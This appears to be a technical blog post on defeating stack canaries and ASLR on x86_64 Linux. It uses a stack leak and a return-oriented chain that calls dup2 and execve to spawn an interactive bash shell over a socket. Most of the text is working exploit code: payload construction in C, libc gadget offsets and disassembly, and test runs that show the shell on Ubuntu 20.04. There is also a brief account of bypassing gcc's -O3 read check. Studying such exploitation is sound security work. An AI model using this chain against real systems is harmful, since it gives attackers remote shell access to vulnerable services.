Stack canary and ASLR bypassing on x86_64

This is a continuation of the previous article about stack canary and ASLR bypassing but on x86_64 platform. Nowadays 64bit systems are widely used and still vulnerable to a buffer overflow attack.

According to x86_64 calling convention registers are used to pass arguments to the function (not stack as it was for 32bit platform). For more information read ABI.

RDI, RSI and RDX registers are used in 3 argument function where RDI contains first and RDX third argument.

We used the same memory leak valnerability as in exploit for 32bit system in order to steal snapshot of the stack memory.

OK, here what we got:

->>     7fffffffdde0
->> e3b31bbe0b79cc00 ->> stack canary
->>     7fffffffddc0 --> EBP
->>     5555555557e9 --> return address
->>        1f7fadfc8
->>        400000003 --> connfd descriptor is located in high 32 bits
->>         88130002
->> 3030303030303030
->>     7fffffffdeb0
->> e3b31bbe0b79cc00 ->> stack canary
->>                0
->>     7ffff7de40b3 --> __libc_start_main+0xF3
->>        100000018
->>     7fffffffdeb8
->>        1f7fa5618
->>     555555555683
->>     555555555830
->> 9dce1831537b4897

We used the same tactique first to calculate start address of libc and later inject return address. Due to the fact that on x86_64 platform functions use registers we decided to call necessary functions inside of libc deirectly instead of making stack executable and passing control to the injected shellcode. So the idea was to call dup2() to redirect input/output to the socket and then call execve() to launch /bin/bash.
It turned out to be even easier since there is no need to use mprotect() and shellcode.

OK, first let's detect RBP and bypass stack protection:

/* 8 Bytes shall be data for overflowed buffer so skip pbuf[0] */
/* STACK CANARY PROTECTION */ shell[1] = pbuf[1];
long libc_start = pbuf[11]; // extract __libc_start_main+0xf3
printf("__libc_start_main+0xF3: %lx\n", libc_start); // application saves return address of __libc_start_main+0xf3 on the stack
libc_start -= 0xf3; // deduct offset to __libc_start_main
libc_start -= 0x26fc0; // deduct offset from __libc_start_main to libc start
long rbp = pbuf[2];

The code below prepares ESI and EDI registers and call dup2 for 0, 1, 2 descriptors.

// ESI - shall be 0 after sock_read and EDI shall be 0x4 connfd argument
/* RBP - 038 */ shell[3] = libc_start+0x1118a0; // return address: dup2
/*
* 6053b:       48 8d 15 5e c3 18 00    lea    0x18c35e(%rip),%rdx        # 1ec8a0 
*  
* (gdb) x 0x7ffff7dbd000+0x6053e
* 0x7ffff7e1d53e <__GI___printf_fp_l+5742>:    0x0018c35e
*/
/* RBP - 0x30 */ shell[4] = libc_start+0x6053e; // return to pop %esi
/* RBP - 0x28 */ shell[5] = 0x1;
/* RBP - 0x20 */ shell[6] = libc_start+0x1118a0; // return address: dup2
/* RBP - 0x18 */ shell[7] = libc_start+0x6053e; // return to pop %esi
/* RBP - 0x10 */ shell[8] = 0x2;
/* RBP - 0x8 */ shell[9] = libc_start+0x1118a0; // return address: dup2

EDI register already contains connfd (descriptor of opened socket) so there is no need to setup it. ESI contains 0 and for the first dup2 we need to pass exactly 0. However for descriptor 1 and 2 we had to find a way how to setup ESI.

The main issue was to find a pair of opcode in libc which restores ESI and returns from the function. The code was found at __GI___printf_fp_l which contained necessary opcodes: 5e c3. 5e c3 equals to 2 separate instructions 'pop %esi' and 'ret'. In reality the code at __GI___printf_fp_l was supposed to perform lea instruction. However if you add 3 bytes offset to the address of the instruction the processor will start executing 5e c3.

After dup2 we have to setup EDX, ESI and EDI in order to call execve(). It's done as follows:

/* 
  e6227:       5d                      pop    %rbp
  e6228:       41 5c                   pop    %r12
  e622a:       41 5d                   pop    %r13
  e622c:       41 5e                   pop    %r14
  e622e:       c3                      retq
*/
/* RBP - 0x0 */ shell[10] = libc_start+0xe6227; // return to pop
/* RBP + 0x8 */ shell[11] = rbp + 0x48; // %rbp  - or 2nd execve arg
/* RBP + 0x10 */ shell[12] = 0x0; // %r12  - or 3rd execve arg
/* RBP + 0x18 */ shell[13] = 0x0; // %r13
/* RBP + 0x20 */ shell[14] = rbp + 0x30; // %r14  - or 1st execve arg
/*
  e6278:       48 89 ee                mov    %rbp,%rsi
  e627b:       4c 89 e2                mov    %r12,%rdx
  e627e:       4c 89 f7                mov    %r14,%rdi
  e6281:       e8 da fe ff ff          callq  e6160 
*/
/* RBP + 0x28 */ shell[15] = libc_start+0xe6278; // call execve
/* RBP + 0x30 */ memcpy(&shell[16], "/bin/bash", strlen("/bin/bash"));
/* RBP + 0x40 */ memcpy(&shell[18], "-i", strlen("-i"));
/* RBP + 0x48 */ shell[19] = rbp + 0x30;
/* RBP + 0x50 */ shell[20] = rbp + 0x40;
/* RBP + 0x58 */ shell[21] = 0x0;

The necessary code was found in fexecve@@GLIBC_2.2.5 whichs restores RBP, R12 and R14 and later uses these registers to setup RDX, RSI and RDI for execve() call.

However what exploit has to prepare except registers it's content of arguments for execve() function. The content of arguments is handed over right after the last return address (to execve() call).

The exploit was tested on Ubuntu 20.04:

$ make test-exploit-64 
gcc -g -DX86_64 -o test-exploit-64 test-exploit.c
$ ./test-exploit-64 
->>     7fff2b1af040
->> f30addef22c5d300
->>     7fff2b1af020
->>     55dc0102d7a7
->>        185ca6fc8
->>        400000003
->>         88130002
->> 3030303030303030
->>     7fff2b1af110
->> f30addef22c5d300
->>                0
->>     7fe985add0b3
->>        100000018
...
__libc_start_main+0xF3: 7fe985add0b3
__libc_start: 7fe985ab6000
RBP: 7fff2b1af020
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

evg@evg:/home/evg/projects/test/repo/shell-exploit$ 

Results when seccomp() protection is enabled:

$ ./shell-exploit-64 
Bad system call (core dumped)
$ dmesg
[36692.474394] audit: type=1326 audit(1593870853.372:3): auid=1000 uid=1000 gid=1000 ses=3 subj=kernel pid=18530 comm="shell-exploit-6" exe="/home/evg/projects/test/repo/shell-exploit/shell-exploit-64" sig=31 arch=c000003e syscall=33 compat=0 ip=0x7fab3318d8ab code=0x0
$ grep 33 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 
#define __NR_dup2 33

All code from the article is available here.


*** Update from 25.07.2020:

If the code of vulnerable program compiled with the flag -O3 (Level 3 optimization) gcc adds extra check for buffer overflow which prevents exploit injection:

evg@evg:~/projects/test/repo/shell-exploit$ ./shell-exploit-64
*** buffer overflow detected ***: terminated
Aborted (core dumped)
00000000000015e0 sock_read:
    1628:       48 63 54 24 0c          movslq 0xc(%rsp),%rdx
    162d:       4c 89 e6                mov    %r12,%rsi
    1630:       89 ef                   mov    %ebp,%edi
    1632:       b9 08 00 00 00          mov    $0x8,%ecx
    1637:       e8 e4 fa ff ff          callq  1120 __read_chk@plt

The function __read_chk is located in libc and checks the buffer length against the data length that is supposed to be read:

00000000001316a0 __read_chk@@GLIBC_2.4:
  1316a0:       f3 0f 1e fa             endbr64 
  1316a4:       48 39 ca                cmp    %rcx,%rdx
  1316a7:       77 2b                   ja     1316d4__read_chk@@GLIBC_2.4+0x34
  ...
  1316d4:       50                      push   %rax
  1316d5:       e8 66 fb ff ff          callq  131240 __chk_fail@@GLIBC_2.3.4

However the usage of optimization flags during compilation of the program helps to prevent buffer overflow attack to be used only if buffer size is known for the compiler. If the buffer was allocated in one function and passed to another function the compiler skips the buffer overflow check meaning the exploit still can be injected and executed after return from the function where the buffer was initially allocated.

Proves:

evg@evg:~/projects/shell-exploit$ make
gcc -O3 -DX86_64 -fstack-protector-strong -o shell-exploit-64-optimized shell-exploit.c
evg@evg:~/projects/shell-exploit$ ./shell-exploit-64-optimized 
evg@evg:~/projects/test/repo/shell-exploit$ ./test-exploit-64-optimized 
->>     7ffe1b1b5210
->> a4d1eb7526d95a00
->>                0
->>     7f15a4e830b3
...
__libc_start_main+0xF3: 7f15a4e830b3
__libc_start: 7f15a4e5c000
RBP: 7ffe1b1b5120
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

evg@evg:/home/evg/projects/shell-exploit$

All code from the article is available here.